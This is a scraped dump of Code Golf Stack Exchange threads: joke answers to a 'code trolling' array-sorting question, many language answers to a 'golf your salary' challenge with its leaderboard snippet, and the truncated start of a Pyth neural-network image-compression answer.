swapWith){\n newList.add(doubleList.getItem(sortedness)); \n }\n else{\n newList.add(doubleList.getItem(i));\n }\n }\n return newList;\n }\n /**\n * A clever method to get the \"degree of sortedness\" form a given array. the\n * bigger the number the more sorted it is. The given list is fully sorted if\n * the return value is the length of the list!\n * \n * @param doubleList\n * @return a number\n */\n private static int isAscSorted(List doubleList){\n double current = Double.NEGATIVE_INFINITY;\n for (int i = 0; i < doubleList.getItemCount(); i++){\n String doubleVal = doubleList.getItem(i);\n if (Double.parseDouble(doubleVal) >= current){\n current = Double.parseDouble(doubleVal);\n }\n else{\n return i;\n }\n }\n return doubleList.getItemCount();\n }\n}\n```\n## Extras\n* Misuse of java.awt.List\n* inconsistent and bad variable naming\n* completely bullshit blah blah about biocomputing\n* inventive and inconsistent language in the explanation\n* monte carlo is plainly the wrong tool for straight forward deterministic problems\n* unneeded imports\n* probably more goodies...\n[Answer]\n[Here is an actual answer](https://stackoverflow.com/a/8938285/1937270) that I like for Java:\n> \n> Add the Line before println and your array gets sorted\n> \n> \n> \n> ```\n> Arrays.sort( array );\n> \n> ```\n> \n> \nNo explanation, [confuses the OP](https://stackoverflow.com/questions/8938235/java-sort-an-array#comment11186695_8938285), but works and will get upvotes from more experienced programmers.\n---\nAnother [similar answer](https://stackoverflow.com/a/8938268/1937270):\n> \n> Take a look at [Arrays.sort()](http://docs.oracle.com/javase/6/docs/api/java/util/Arrays.html#sort%28int%5B%5D%29)\n> \n> \n> \nIndirectly telling the OP to do his own research while giving him a vague correct answer. Without further research, the [OP is still confused](https://stackoverflow.com/questions/8938235/java-sort-an-array#comment11186702_8938268). I also like that the link points to older documentation.\n[Answer]\n## Python\n```\na = map(float, raw_input().split())\nprint sorted(a, key=lambda x: int(x * 10**3) % 10 + int(x * 10**5) % 10)\n```\nSorts the array (list) by the sum of the 3rd and 5th decimal places.\n[Answer]\nHere, feast your eyes:\n```\n 0) {\n $i = 0;\n foreach ($doubleValues as $value) {\n echo $i . \" : \" . $value . \"
\";\n $i++;\n }\n echo \"Type the index of the smallest double value in the list: \";\n } else {\n echo \"Sorted values\" . $sorted;\n }\n}else {\n echo \"Enter double values separated by a colon (:)\";\n}\n?>\n
\" >\n
';\n} else {\n echo '
'.\n '';\n}\n?>\n \n
\n```\nThis piece of code displays the array and asks the user to enter the smallest double of the array. It then adds the number to the list of sorted numbers, removes the double from the array and display the remaining array numbers.\n**\\* Misinterpreting:** Weak point, but the OP is not exactly expecting the program to ask the user to help sorting.\n**\\* Cheating:** the user is the one doing the actual sorting.\n**\\* Performance:** Every number of the array requires a server roundtrip, and it requires the user to find the smallest number manually. Performance can't get much worse.\n**\\* Unacceptable:** I think I got that covered. And good luck on reusing it. Worst comes to worst, the user could get rid of 90% of the code and loop through repetitively to find the smallest values and removing them each time, which would give him one of the least efficient sorting algorithms.\n**\\* Creative and evil:** you tell me.\n[Answer]\n# Javascript Intelligent Design Sort\n```\nfunction sort(array){\n console.log(\"Someone more intelligent than you has already sorted this optimally. Your puny brain cannot comprehend it\");\n return array;//I do believe that this is the fastest sorting algorithm there is!\n}\n```\n[Answer]\n**C++** \nThis works... eventually.\nHere's my sorting algorithm:\n```\ntemplate \nvoid sort (Iterator first, Iterator last)\n{\n while (std::is_sorted (first, last) == false) {\n std::shuffle (first, last, std::random_device()) ;\n }\n}\n```\nHere's the full program: \n```\n#include \n#include \n#include \n#include \n#include \n#include \nnamespace professional \n{\n template \n void sort (Iterator first, Iterator last) ;\n} // end of namespace professional\nstd::vector get_doubles () ;\nint main (void)\n{\n std::vector vecVals = get_doubles () ;\n professional::sort (std::begin (vecVals), std::end (vecVals)) ;\n for (const double d : vecVals) {\n std::cout << d << \" \" ;\n }\n std::cout << std::endl ;\n return 0 ;\n}\ntemplate \nvoid professional::sort (Iterator first, Iterator last)\n{\n while (std::is_sorted (first, last) == false) {\n std::shuffle (first, last, std::random_device()) ;\n }\n}\nstd::vector get_doubles ()\n{\n std::cout << \"Please enter some space delimited doubles.\" << std::endl ;\n std::vector vecVals ;\n std::string strLine ;\n std::getline (std::cin, strLine) ;\n std::stringstream ss (strLine) ;\n while (1) {\n double d = 0 ;\n ss >> d ;\n if (ss.bad () == false && ss.fail () == false) {\n vecVals.push_back (d) ;\n }\n else {\n break ;\n }\n }\n return vecVals ;\n}\n```\n[Answer]\n# Python – req. #1\nThis code will sort the doubles in lexicographical order rather than increasing numerical order, by creating a prefix tree of digits and then iterating through them recursively.\n```\nclass trie_node:\n def __init__(self): \n self.chn = {}\n self.instances = 0\n for char in \"0123456789.-+e\":\n self.chn[char] = None\n def insert_number(self, number):\n if(number == \"\"):\n self.instances += 1\n else:\n self.chn[number[0]] = trie_node()\n self.chn[number[0]].insert_number(number[1:])\ndef get_sorted_array(node, number):\n array_to_return = [number] * node.instances\n for char in \"0123456789.-+e\":\n if node.chn[char] != None:\n array_to_return += get_sorted_array(node.chn[char], number + char)\n return array_to_return\ndef pcg_sort(arr):\n root = trie_node()\n for element in arr:\n root.insert_number(str(element))\n sarr = get_sorted_array(root, \"\")\n fsarr = []\n for element in sarr:\n fsarr.append(float(element))\n return fsarr\ninput_array = []\nwhile True:\n number = raw_input(\"Enter a double (/ to end): \")\n if(number == \"/\"):\n print pcg_sort(input_array)\n break\n else:\n try:\n number = float(number)\n input_array.append(number)\n except ValueError:\n pass\n```\nIt works in `n log n` time, and is in fact a smart way to keep a sorted list otherwise, but unfortunately for the OP, it does completely the wrong thing.\n[Answer]\nSorts the array of doubles. In Java:\n```\npublic String sort(double[] input){\nString s = \"\";\nfor(Double d:input){\n s+=Long.toBinaryString(Double.doubleToRawLongBits(d));\n}\nchar[] chars=s.toCharArray();\nArrays.sort(chars);\ns=\"\";\nfor(char c:chars){\n s+=c;\n}\nreturn s;}\n```\nFor instance:\n`[0.0, 1.5, 123]`\ngoes from the unsorted binary representation of\n`011111111111000000000000000000000000000000000000000000000000000100000001011110110000000000000000000000000000000000000000000000`\nto the elegantly sorted\n`000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111111`\n[Answer]\n> \n> I need a program where the user inputs an array of doubles and the program outputs the array sorted. Could you please give the code?\n> \n> \n> \nEdit per @kealist, I guess it is better if commented to make the divide seem plausible. In [Rebol](http://en.wikipedia.org/wiki/Rebol)...\n```\ndoubled-list: load ask \"Input list of doubles: \"\n;-- The list is of doubles, so we have to undouble them before sorting\n;-- Use MAP-EACH to create a new list with each element divided by two\nundoubled-list: map-each num doubled-list [num / 2] \n;-- Note: We could also have sorted before we undoubled the numbers\nprint sort undoubled-list\n```\nPlaying off the idea that they don't actually know what a double is, and might believe a list of doubles were just a bunch of numbers multiplied by two.\n[Answer]\nDeliberately misunderstanding the question:\nUsing a recursive approach:\n```\ndef recsort(array):\n \"Recursive sort\"\n if array:\n for j, i in enumerate(array):\n for l1 in recsort(array[:j]):\n for l2 in recsort(array[j+1:]):\n yield i + l1 + l2\n yield i + l2 + l1\n else:\n yield ''\nfor p in recsort(raw_input(\"Array:\")):\n print p\n```\nThe sorted array is guaranteed to be outputed at some point, for any type of data in the array, even any kind of sorting order, and even any kind of separator for the input, which makes this approach extremely flexible. Its main drawback is that it is a bit slow for large arrays, but you can solve that easily with multithreading.\n]"}}},{"rowIdx":22,"cells":{"text":{"kind":"string","value":"[Question]\n [\nAs I'm applying for some jobs whose job advert doesn't state the salary, I imagined a particularly evil interviewer that would give the candidate the possibility to decide their own salary ...by \"golfing\" it!\nSo it goes simply like that:\n> \n> Without using numbers, write a code that outputs the annual salary you'd like to be offered.\n> \n> \n> \nHowever, being able to write concise code is a cornerstone of this company. So they have implemented a very tight seniority ladder where\n> \n> employers that write code that is *b* bytes long can earn a maximum of ($1'000'000) ¬∑ *b*-0.75.\n> \n> \n> \nwe are looking at (these are the integer parts, just for display reasons):\n```\n 1 byte ‚Üí $1'000'000 15 bytes ‚Üí $131'199\n 2 bytes ‚Üí $594'603 20 bytes ‚Üí $105'737\n 3 bytes ‚Üí $438'691 30 bytes ‚Üí $78'011\n 4 bytes ‚Üí $353'553 40 bytes ‚Üí $62'871\n 10 bytes ‚Üí $177'827 50 bytes ‚Üí $53'182\n```\n### The challenge\nWrite a program or function that takes no input and outputs a text containing a dollar sign (`$`, U+0024) and a decimal representation of a number (integer or real).\n* Your code cannot contain the characters `0123456789`.\nIn the output:\n* There may optionally be a single space between the dollar sign and the number.\n* Trailing and leading white spaces and new lines are acceptable, but any other output is forbidden.\n* The number must be expressed as a decimal number using only the characters `0123456789.`. This excludes the use of scientific notation.\n* Any number of decimal places are allowed.\n**An entry is valid if** the value it outputs is not greater than ($1'000'000) ¬∑ *b*-0.75, where *b* is the byte length of the source code.\n### Example output (the quotes should not be output)\n```\n\"$ 428000\" good if code is not longer than 3 bytes\n\"$321023.32\" good if code is not longer than 4 bytes\n\" $ 22155.0\" good if code is not longer than 160 bytes\n\"$ 92367.15 \\n\" good if code is not longer than 23 bytes\n\"300000 $\" bad\n\" lorem $ 550612.89\" bad\n\"¬£109824\" bad\n\"$ -273256.21\" bad\n\"$2.448E5\" bad\n```\n### The score\nThe value you output is your score! (Highest salary wins, of course.)\n---\n## Leaderboard\nHere is a Stack Snippet to generate both a regular leaderboard and an overview of winners by language.\nTo make sure that your answer shows up, please start your answer with a headline, using the following Markdown template:\n```\n# Language Name, $X (Y bytes)\n```\nwhere `X` is your salary and `Y` is the size of your submission. (The `Y bytes` can be anywhere in your answer.) If you improve your score, you *can* keep old scores in the headline, by striking them through. For instance:\n```\n# Ruby, $111111.111... (18 bytes) $111999 (17 bytes) $123456 (16 bytes)\n```\nYou can also make the language name a link, which will then show up in the leaderboard snippet:\n```\n# [><>](http://esolangs.org/wiki/Fish), $126,126 (13 bytes)\n```\n```\nvar QUESTION_ID=171168,OVERRIDE_USER=77736;function answersUrl(e){return\"https://api.stackexchange.com/2.2/questions/\"+QUESTION_ID+\"/answers?page=\"+e+\"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\"+ANSWER_FILTER}function commentUrl(e,s){return\"https://api.stackexchange.com/2.2/answers/\"+s.join(\";\")+\"/comments?page=\"+e+\"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\"+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:\"get\",dataType:\"jsonp\",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:\"get\",dataType:\"jsonp\",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body.replace(/<(s|strike)>.*?<\\/\\1>/g,\"\");s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r=\"

\"+e.body.replace(OVERRIDE_REG,\"\")+\"

\")});var a1=r.match(SCORE_REG),a2=r.match(LANG_REG),a3=r.match(BYTES_REG);a1&&a2&&e.push({user:getAuthorName(s),size:a3?+a3[1]:0,score:+a1[1].replace(/[^\\d.]/g,\"\"),lang:a2[1],rawlang:(/a?1:r\\s*((?:[^\\n,](?!\\s*\\(?\\d+\\s*bytes))*[^\\s,:-])/,BYTES_REG=/(\\d+)\\s*(?:]+>|<\\/a>)?\\s*bytes/i,SCORE_REG=/\\$\\s*([\\d',]+\\.?\\d*)/,OVERRIDE_REG=/^Override\\s*header:\\s*/i;\n```\n```\nbody{text-align:left!important}#answer-list,#language-list{padding:10px;width:520px;float:left}table thead{font-weight:700}table td{padding:5px}\n```\n```\n

Leaderboard

AuthorLanguageScoreSize

Winners by Language

LanguageUserScoreSize
{{PLACE}}{{NAME}}{{LANGUAGE}}{{SCORE}}{{SIZE}}Link
{{LANGUAGE}}{{NAME}}{{SCORE}}{{SIZE}}Link
\n```\n---\nEdit: (rounded) maximum allowed score per byte count, for a quicker reference - [text here](https://tio.run/##HcFBCoAgEADAryySsIqKi0jRob8EZe1FQ7z0@g2aed5xt5pESuvAwBX6Xq8TyVEmsz6d60Cl0wHebzBpWgLFojSyo/izbC36GOZsjBH5AA):\n[![enter image description here](https://i.stack.imgur.com/HpQNN.png)](https://i.stack.imgur.com/HpQNN.png)\n \n[Answer]\n# bash, $127127\n```\nx;echo \\$$?$?\n```\n[Try it online!](https://tio.run/##S0oszvj/v8I6NTkjXyFGRcVexf7/fwA)\nSince the `x` command doesn't exist, it errors and sets the exit code to `127`.\nThen, the code outputs a dollar sign followed by `$?` twice. The `$?` variable stores the exit code of the previous command, so this outputs `$127127` in **13 bytes**.\n[Answer]\n# Java 8, $131,199.00 (15 bytes)\n```\nv->\"$\"+'e'*'ԓ'\n```\n[Try it online.](https://tio.run/##LY1BCsIwEEX3PcVQhKRKe4GiN7AbwY24GNMoqem0NJOASE/h1bxPTLGbD/Pn8V@HAcuufUZl0Tk4oqF3BmCI9XRHpaFZToATT4YeoOR5MC2Eok7tnKVwjGwUNECwhxjKQ77Jd0KLrfh@RKwXZPQ3m5CVDMtAnzzyv3m5Ahar5OVY99XguRrTiy1JqpQkb22xGuf4Aw)\n**Explanation:**\n```\nv-> // Method with empty unused parameter and String return-type\n \"$\"+ // Return a dollar sign, concatted with:\n 'e'*'ԓ' // 131199 (101 * 1299)\n```\n\\$131,199.00 < 131,199.31\\$\nI used [a program to generate](https://tio.run/##XZBba4NAEIXf/RXDkuJa0bINFIJNIL28NU@hpVBL2aqJk3oJOgqh@NvtbmLU9GV3Z77DOTO7k7V0duFP2waJLEtYScx@DYB99Z1gACVJUledYwipQnxNBWbbj0@QlpYBBLEsQJYB4qN@zcEE0xtIWiWEDweKxvSIw1xFRECy2EakiJgKMZuF3himmCnydCzc1fL962358vp8kmzygmNGgHNxe@cBLqZCnY7TzdV7BLGy6FJuAL1LWstEYaW5AnFGuOG6fa/jezfohlHE61vjvbne18IB/l/9JAjis6IxhnN9KClK3bwid68@mJKMs9pZ@GziM9tkdh9kM1PXF96q55NPfMJs3guvLySWzSxm6eTGaNr2Dw) a printable ASCII character in the range `[32, 126]` which, when dividing `131199`, would have the lowest amount of decimal values. Since `101` can divide `131199` evenly, resulting in `1299`, I'm only 31 cents short of my maximum possible salary based on my byte-count of 15.\n[Answer]\n# [CJam](https://sourceforge.net/p/cjam), (5 bytes) $294204.018...\n```\n'$PB#\n```\n[Try it online!](https://tio.run/##S85KzP3/X10lwEn5/38A \"CJam – Try It Online\")\nExplanation:\nI derived it from Dennis' answer, but looked for combinations of numbers which would yield a higher result. I almost gave up, but I saw that `P` is the variable for \\$\\pi\\$, and that \\$\\pi^{11} \\approx 294000\\$. The letter `B` has a value of 11 in CJam, giving the code above. \n[Answer]\n# [CJam](https://sourceforge.net/p/cjam), 5 bytes, $262'144\n```\n'$YI#\n```\n[Try it online!](https://tio.run/##S85KzP3/X10l0lP5/38A \"CJam – Try It Online\")\n### How it works\n```\n'$ Push '$'.\n Y Push 2.\n I Push 18.\n # Pop 2 and 18 and perform exponentiation, pushing 262144.\n```\n[Answer]\n# [R](https://www.r-project.org/), 20 bytes, `$103540.9`\n```\nT=pi+pi;cat(\"$\",T^T)\n```\n[Try it online!](https://tio.run/##K/pvmGqmZWQQp6tnbvo/xLYgU7sg0zo5sURDSUVJJyQuRPP/fwA \"R – Try It Online\")\nThe max for 20 bytes is `$105737.1`, so this is quite close to the salary cap!\nThis would be a nice raise, and if I get paid to do code golf......\n[Answer]\n# [GS2](https://github.com/nooodl/gs2), (5 bytes) $292,929\n```\n•$☺↔A\n```\nA full program (shown here using [code-page 437](https://en.wikipedia.org/wiki/Code_page_437#Character_set)). (Maximum achievable salary @ 5 bytes is $299069.75)\n**[Try it online!](https://tio.run/##Sy82@v//UcMilUczdj1qm@L4/z8A \"GS2 – Try It Online\")**\nBuilds upon Dennis's [GS2 answer](https://codegolf.stackexchange.com/a/171179/53748)...\n```\n•$☺↔A []\n•$ - push '$' ['$']\n ☺ - push unsigned byte:\n ↔ - 0x1d = 29 ['$',29]\n A - push top of stack twice ['$',29,29,29]\n - implicit print $292929\n```\n[Answer]\n# [Self-modifying Brainfuck](https://soulsphere.org/hacks/smbf/), 16 bytes, $124444\n```\n<.<++.+.++..../$\n```\n[Try it online!](https://tio.run/##K85NSvv/30bPRltbDwi19YBAX@X/fwA \"Self-modifying Brainfuck – Try It Online\")\n[Answer]\n# [R](https://www.r-project.org/), 21 bytes $99649.9\n```\ncat(\"$\",min(lynx^pi))\n```\n[Try it online!](https://tio.run/##K/qfnJSZl6JhaGFlZKxjmGqmBWFqxunqmZtq/k9OLNFQUlHSyc3M08ipzKuIK8jU1Pz/HwA \"R – Try It Online\")\nA different `R` approach - see also [Giuseppe's answer](https://codegolf.stackexchange.com/a/171171/80010)\nVery close to the maximum of $101937 for this bytecount.\n## Bonus: `object.size()`\n### [R](https://www.r-project.org/), 24 bytes $89096\n```\ncat(\"$\",object.size(ls))\n```\n[Try it online!](https://tio.run/##K/qfnJSZl6JhaGFlZKpjmGqmBWFqxunqmZtq/k9OLNFQUlHSyU/KSk0u0SvOrErVyCnW1Pz/HwA \"R – Try It Online\")\nThis is probably system-dependent, but when I ra this on TIO I got $89096 - close to the limit of 92223 for 24 bytes.\n[Answer]\n# JavaScript (ES6), 19 bytes, $109,839\n```\n_=>atob`JDEwOTgzOQ`\n```\n[Try it online!](https://tio.run/##FcwxDoIwFADQnVP8rW3Ushi3MhhdHCRGdym1hZLaT9oCwcsj7C@vk6OMKtg@HTx@9GLE8haFTFhXt8t1Kl/Nr3xUS55Dj2421jkwGIBsgjKyh6m1qgUbwWMCCV4mO2q4rxfvIpjBq2TRZ5sHARFEAefBGB24CfilEXZA1obUMurTkTCe8JmC9Q0ltfUyzIRlmUIf0WnusKGGMrb8AQ \"JavaScript (Node.js) – Try It Online\")\n\\$109839\\$ is the highest integer \\$\\le 109884\\$ which does not produce any digit when prefixed with **'$'** and encoded in base64.\n---\n# Without `atob()` (Node.js), 26 bytes, $86,126\n```\n_=>'$'+Buffer('V~').join``\n```\n[Try it online!](https://tio.run/##y0osSyxOLsosKNHNy09J/Z9m@z/e1k5dRV3bqTQtLbVIQz2sTl1TLys/My8h4X9yfl5xfk6qXk5@ukaahqbmfwA \"JavaScript (Node.js) – Try It Online\")\nThe concatenation of **'$'** with the ASCII codes of **'V'** (86) and **'~'** (126).\n[Answer]\n# PHP, $131116 (8 bytes)\nDidn't see one for php and wanted to throw one up. I know someplace in php is a bad typecast that would cut this in half but I can't find it right now.\n```\n$ character, which is invisible in most fonts, between the `$` and `=`, for a total of **13 bytes**) to insert the value of the `'pvh'` option times the value of the `'ur'` option.\n`'previewheight'` is the option that controls the height of preview windows, which is 12 by default.\n`'undoreload'` is the maximum number of lines a buffer can have before vim gives up on storing it in memory for undo, and it defaults to 10,000.\n[Answer]\n# [Jelly](https://github.com/DennisMitchell/jelly), ~~$256000 $256256~~ (6 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page)) $257256\n```\n⁹‘”$;;\n```\nA full program. (Maximum achievable salary @ 6 bytes is $260847.43)\n**[Try it online!](https://tio.run/##y0rNyan8//9R485HDTMeNcxVsbb@/x8A \"Jelly – Try It Online\")**\n### How?\n```\n⁹‘”$;; - Main Link: no arguments\n⁹ - Literal 256 256\n ‘ - increment 257\n ”$ - single '$' character '$'\n ; - concatenate ['$',257]\n ; - concatenate ['$',257,256]\n - implicit print -> $257256\n```\n---\nPrevious...\n5 bytes $256256\n```\n”$;⁹⁺\n```\n('$' concatenate 256, repeat 256 - causing interim implicit printing)\n6 bytes $256000:\n```\n⁹×ȷṭ”$\n```\n(256 × 1000 ṭack '$')\n[Answer]\n# C#\n## Full program, ~~72 bytes, $40448~~ 66 bytes, $43008\n```\nclass P{static void Main()=>System.Console.Write(\"$\"+('T'<<'i'));}\n```\n[Try it online!](https://tio.run/##Sy7WTc4vSv3/PzknsbhYIaC6uCSxJDNZoSw/M0XBNzEzT0PT1i64srgkNVfPOT@vOD8nVS@8KLMkVUNJRUlbQz1E3cZGPVNdU9O69v9/AA \"C# (.NET Core) – Try It Online\")\n### Explanation\nLeft-shift operator treats chars `'T'` and `'i'` as integers 84 and 105 respectively and performs shift\n## Lambda, ~~19 bytes, $109568~~ 17 bytes, $118784\n```\no=>\"$\"+('t'<<'j')\n```\n[Try it online!](https://tio.run/##JcpLCsIwEADQq4QiJMHPBZJ2I7gTCi5chzHISJyBzEQopWePgqu3eSBH4Jp7E6SnuS2i@R2gJBEzr6JJEcyH8WGuCcn59dIIomj97YP5O6Wx8zgNu2HvrNoY7cv6Hs5MwiWf7hU1u@SoleJ92Lb@BQ \"C# (.NET Core) – Try It Online\")\n**Edit** Thanks to @LegionMammal978 and @Kevin for saving 2 bytes\n[Answer]\n# PHP, 13 Bytes, $144000 Salary\nUnfortunately for this job, moving to Mauritius is required (well, I could move slightly less far eastward, however every timezone less would yield at $36k drop in salary.) To compensate for the inconvenience, my salary increases by $1 every leap year.\n```\n$++++++<-]>.<++++[>++++<-]>+.+++....\n```\n[Try it online!](https://tio.run/##SypKzMxLK03O/v9fGwyi7SC0jW6snZ4NQgTE19YDMvSA4P9/AA \"brainfuck – Try It Online\")\n### How it works\n```\n++++++[>++++++<-]>. write 36 to cell one and print (36 is ASCII for $)\n<++++[>++++<-]>+. add 17 to cell 1 and print (cell 1 is now 53, ASCII for 5) \n+++.... add 3 to cell 1 and print 4 times (cell 1 is now 56, ASCII for 8)\n```\n[Answer]\n# [Python 3](https://docs.python.org/3/), (22 bytes) $ 98,442\n```\nprint('$',ord('𘂊'))\n```\n**[Try it online!](https://tio.run/##K6gsycjPM/7/v6AoM69EQ11FXSe/KEVD/cOMpi51Tc3//wE \"Python 3 – Try It Online\")**\nMuch like Doorknob's [Ruby answer](https://codegolf.stackexchange.com/a/171180/53748), the 4 byte Unicode character used here, `𘂊`, has an ordinal value of the maximal integer salary achievable in 22 bytes.\nNote that `print()` prints its unnamed arguments separated by spaces by default (`sep` is an optional named argument).\n[Answer]\n# [Gol><>](https://github.com/Sp3000/Golfish), $207680 in 8 bytes\n```\n'o**n; $\n```\n[Try it online!](https://tio.run/##S8/PScsszvj/Xz1fSyvPWkHl/38A \"Gol><> – Try It Online\")\n### How it works:\n```\n' Start string interpretation. Pushes the ASCII value of every character until it wraps back around to this character\n o Output the top stack value as ASCII. This is the $ at the end of the code\n ** Multiply the top 3 stack values (This is the ASCII of 'n; ', 110*59*32\n n Output top of stack as integer.\n ; Terminate program\n $ (Not run, used for printing the $)\n```\nInterestingly enough, you can use `h` instead of `n;`, which yields `'o**h5$` with a score of $231504, but you can't use 0-9, and there isn't another 1-byte way to push 53, the ASCII value of `5`\n[Answer]\n# Mathematica, 18 bytes, $107,163.49\n```\n$~Print~N[E^(E!E)]\n```\nFull program; run using `MathematicaScipt -script`. Outputs `$107163.4882807548` followed by a trailing newline. I have verified that this is the highest-scoring solution of the form `$~Print~N[*expr*]` where `*expr*` is comprised of `Pi`, `E`, `I`, and `+-* /()!`.\n[Answer]\n# [05AB1E](https://github.com/Adriandmen/05AB1E) (5 bytes), $262626\n```\n'$₂ÐJ\n```\n[Try it online!](https://tio.run/##yy9OTMpM/f9fXeVRU9PhCV7//wMA \"05AB1E – Try It Online\")\n\\$262626 < 299069\\$. Pushes the character `$` to the stack, then pushes the integer \\$26\\$. From here, the program triplicates the integer, leaving the stack as `[\"$\", 26, 26, 26]` and joins (`J`) the stack.\n[Answer]\n# [JavaScript (Node.js)](https://nodejs.org), 23 bytes, $65535\n```\n_=>\"$\"+ +(~~[]+`xFFFF`)\n```\n[Try it online!](https://tio.run/##y0osSyxOLsosKNHNy09J/Z9m@z/e1k5JRUlbQVujri46Vjuhwg0IEjT/Wyfn5xXn56Tq5eSna6RpaOooGKaaaWkoKWmnaerlpOall2RoaenqmZtq/gcA \"JavaScript (Node.js) – Try It Online\")\nThis is the best I can get without `atob`, though there is a large improvement space tbh\nYou know, having no short character to ascii conversion function sucks A LOT.\n***AFTER A WHOLE DAY***\n# [JavaScript (Node.js)](https://nodejs.org), 30 bytes, $78011\n```\n_=>\"$\"+`𓂻`.codePointAt(![])\n```\n[Try it online!](https://tio.run/##y0osSyxOLsosKNHNy09J/Z9m@z/e1k5JRUk74cPkpt0JeslA0YD8zLwSxxINxehYzf/J@XnF@Tmpejn56RppGpqa/wE \"JavaScript (Node.js) – Try It Online\")\n## or: 29 bytes, $80020\n```\n_=>\"$\"+`򀀠`.codePointAt(!_)\n```\nWhere `򀀠` is `U+13894 INVALID CHARACTER`\nOh `String.codePointAt`! I've just completely forgotten this!\n## A joke one (15B, $130000), not vaild at all but just for fun\n```\n_=>\"$十三萬\"\n```\n[Answer]\n# [Jelly](https://github.com/DennisMitchell/jelly), 8 bytes, $210176.48625619375\n```\n⁽½\"×½”$,\n```\n3535 (`⁽½\"`) multipli(`×`)ed by its sqrt (`½`).\n[Try it online!](https://tio.run/##y0rNyan8//9R495De5UOTz@091HDXBWd//8B \"Jelly – Try It Online\")\n[Answer]\n# Perl 5.26.2, 12 bytes, $146002\n```\nsay$]^\"\\x11\\x0e\\x01\\x06\"\n```\nHex escapes only shown because ASCII control chars are filtered out.\n[Try it online!](https://tio.run/##K0gtyjH9/784sVIlNk5dkI@RTf3//3/5BSWZ@XnF/3V9TfUMDA0A \"Perl 5 – Try It Online\")\nYou can get a bit more with different Perl versions, for example $155012 with 5.25.12.\n[Answer]\n## MATLAB, 17 bytes, $112222\n```\n['$','..////'+pi]\n```\nOld answer:\n```\n['$','RRUUTR'-'!']\n```\n[Answer]\n# [brainfuck](https://github.com/TryItOnline/brainfuck), 34 bytes, $69999\n```\n+[->-[---<]>-]>.[-->+++<]>.+++....\n```\n[Try it online!](https://tio.run/##SypKzMxLK03O/v9fO1rXTjdaV1fXJtZON9ZOD8i009bWBvL0gJQeEPz/DwA \"brainfuck – Try It Online\")\n### Explanation:\n```\n+[->-[---<]>-]>. Generate and print 36 ($)\n[-->+++<]> Divide by 2 and multiply by 3 to get 54 (6)\n . Print 6\n +++.... Print 9999\n```\n[Answer]\n## Ruby, $119443\n```\n$><\"+e.body.replace(OVERRIDE_REG,\"\")+\"\")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery(\"#answer-template\").html();t=t.replace(\"{{PLACE}}\",n+\".\").replace(\"{{NAME}}\",e.user).replace(\"{{LANGUAGE}}\",e.language).replace(\"{{SIZE}}\",e.size).replace(\"{{LINK}}\",e.link),t=jQuery(t),jQuery(\"#answers\").append(t);var o=e.language;/
s.lang?1:e.lang\\s*([^\\n,]*[^\\s,]),.*?(\\d+(?:\\.\\d+))(?=[^\\n\\d<>]*(?:<(?:s>[^\\n<>]*<\\/s>|[^\\n<>]+>)[^\\n\\d<>]*)*<\\/h\\d>)/,OVERRIDE_REG=/^Override\\s*header:\\s*/i;\n```\n```\nbody{text-align:left!important}#answer-list,#language-list{padding:10px;width:400px;float:left}table thead{font-weight:700}table td{padding:5px}\n```\n```\n

Leaderboard

AuthorLanguageScore

Winners by Language

LanguageUserScore
{{PLACE}}{{NAME}}{{LANGUAGE}}{{SIZE}}Link
{{LANGUAGE}}{{NAME}}{{SIZE}}Link
\n```\n \n[Answer]\n# [Pyth](https://github.com/isaacg1/pyth) (no built-in compression), score ~~4695.07~~ ~~4656.03~~ 4444.82\nPyth’s only image-related functionality is a builtin to write a matrix of RGB triples as an image file. So the crazy idea here is to train a small **deep neural network** on the (*x*, *y*) ↦ (*r*, *g*, *b*) function representing the image, and run it on the coordinates of each pixel.\n### The plan\n1. Write a custom backpropagation loop in C++.\n2. Curse at how slow it is.\n3. Learn Tensorflow.\n4. Build a new desktop with a sick GPU using Black Friday deals.\n5. Scour the literature for ways to compress neural networks, and do that.\n6. Scour the literature for ways to avoid overfitting neural networks, and do the opposite of that.\nThe current network is built from 45 sigmoid neurons, with each neuron connected to the *x*, *y* inputs and to every previous neuron, and the last three neurons interpreted as *r*, *g*, *b*. It’s trained using the [Adam](https://arxiv.org/abs/1412.6980) algorithm without batching. The parameters weighting the 1125 connections are quantized to a range of 93 possible values (except the constant terms, which have 932 possible values) using a variant of [stochastic quantization](https://arxiv.org/abs/1708.01001), the primary variation being that we set the gradient for quantized parameters to zero.\n### The result\n[![output](https://i.stack.imgur.com/DctOO.png)](https://i.stack.imgur.com/DctOO.png)\n### The code\n1023 bytes, encoded with `xxd` (decode with `xxd -r`). I used the [2016-01-22 version of Pyth](https://github.com/isaacg1/pyth/commit/8752181ac426d9d4e224891fbb4a8021051e33bb) that was current when this challenge was released. You can run the code directly in Pyth, but Pyth in [PyPy3](https://pypy.org/download.html) (`pypy3 pyth starry.pyth`) runs it nine times faster, in about 3 minutes. The output image is written to `o.png`.\n```\n00000000: 4b6a 4322 05d4 7bb1 06f8 6149 da66 28e3 KjC\"..{...aI.f(.\n00000010: 8d17 92de a833 9b70 f937 9fc6 a74e 544d .....3.p.7...NTM\n00000020: 1388 e4e5 1d7e 9432 fe38 1313 3c34 0c54 .....~.2.8..<4.T\n00000030: 89fe 553b 83a3 84bb 08c8 09fe 72be 3597 ..U;........r.5.\n00000040: b799 34f8 8809 4868 feb8 acde 2e69 34e6 ..4...Hh.....i4.\n00000050: 1c1a c49a 27f0 f06a 3b27 0564 